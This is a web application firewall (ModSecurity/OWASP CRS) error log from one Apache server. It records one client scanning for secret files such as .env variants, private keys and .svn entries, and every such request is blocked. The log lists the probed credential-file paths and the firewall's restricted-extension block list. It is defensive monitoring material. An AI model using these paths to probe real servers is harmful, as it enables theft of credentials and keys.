[Mon Oct 26 10:03:27.557811 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at9dryDi6FEnz4zo40NheQAAAAk"]
[Mon Oct 26 10:03:27.558059 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at9dryDi6FEnz4zo40NheQAAAAk"]
[Mon Oct 26 10:03:27.568990 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at9dr7nmpHTSsAiKbb2bzQAAAAc"]
[Mon Oct 26 10:03:27.569227 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at9dr7nmpHTSsAiKbb2bzQAAAAc"]
[Mon Oct 26 10:03:27.569466 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at9dr7nmpHTSsAiKbb2bzQAAAAc"]
[Mon Oct 26 10:03:27.573473 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at9dr4kBAlsUe0HxPuSmIgAAAA4"]
[Mon Oct 26 10:03:27.573781 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at9dr4kBAlsUe0HxPuSmIgAAAA4"]
[Mon Oct 26 10:03:27.574039 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at9dr4kBAlsUe0HxPuSmIgAAAA4"]
[Mon Oct 26 10:03:27.584676 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at9dr09qPMNS87qzj5gkOAAAABE"]
[Mon Oct 26 10:03:27.584847 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at9dr09qPMNS87qzj5gkOAAAABE"]
[Mon Oct 26 10:03:27.585057 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at9dr09qPMNS87qzj5gkOAAAABE"]
[Mon Oct 26 10:03:27.593354 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at9dryDi6FEnz4zo40NhegAAAAk"]
[Mon Oct 26 10:03:27.593555 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at9dryDi6FEnz4zo40NhegAAAAk"]
[Mon Oct 26 10:03:27.593792 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at9dryDi6FEnz4zo40NhegAAAAk"]
[Mon Oct 26 10:03:27.594654 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at9dr8fzpoBm8xCXttklSQAAABA"]
[Mon Oct 26 10:03:27.594800 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at9dr8fzpoBm8xCXttklSQAAABA"]
[Mon Oct 26 10:03:27.595140 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at9dr8fzpoBm8xCXttklSQAAABA"]
[Mon Oct 26 10:03:27.610880 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at9dr7GXTlA520hhAgG8AAAAAA8"]
[Mon Oct 26 10:03:27.611019 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at9dr7GXTlA520hhAgG8AAAAAA8"]
[Mon Oct 26 10:03:27.611236 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at9dr7GXTlA520hhAgG8AAAAAA8"]
[Mon Oct 26 10:03:27.612041 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at9dr7cZuT5gdeNd6aUKCAAAAAs"]
[Mon Oct 26 10:03:27.612177 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at9dr7cZuT5gdeNd6aUKCAAAAAs"]
[Mon Oct 26 10:03:27.612391 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at9dr7cZuT5gdeNd6aUKCAAAAAs"]
[Mon Oct 26 10:03:27.613151 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at9dr9dWtrCZuT8sbNQ5eQAAACU"]
[Mon Oct 26 10:03:27.613365 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at9dr9dWtrCZuT8sbNQ5eQAAACU"]
[Mon Oct 26 10:03:27.613586 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at9dr9dWtrCZuT8sbNQ5eQAAACU"]
[Mon Oct 26 10:03:27.621116 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at9dr09qPMNS87qzj5gkOQAAABE"]
[Mon Oct 26 10:03:27.621265 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at9dr09qPMNS87qzj5gkOQAAABE"]
[Mon Oct 26 10:03:27.621566 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at9dr09qPMNS87qzj5gkOQAAABE"]
[Mon Oct 26 10:03:27.629984 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9dryDi6FEnz4zo40NhewAAAAk"]
[Mon Oct 26 10:03:27.630163 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9dryDi6FEnz4zo40NhewAAAAk"]
[Mon Oct 26 10:03:27.630443 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at9dryDi6FEnz4zo40NhewAAAAk"]
[Mon Oct 26 10:03:27.641326 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at9dr8fzpoBm8xCXttklSgAAABA"]
[Mon Oct 26 10:03:27.641470 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at9dr8fzpoBm8xCXttklSgAAABA"]
[Mon Oct 26 10:03:27.641686 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at9dr8fzpoBm8xCXttklSgAAABA"]
[Mon Oct 26 10:03:27.709971 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at9dr8fzpoBm8xCXttklSwAAABA"]
[Mon Oct 26 10:03:27.710199 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at9dr8fzpoBm8xCXttklSwAAABA"]
[Mon Oct 26 10:03:27.710497 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at9dr8fzpoBm8xCXttklSwAAABA"]
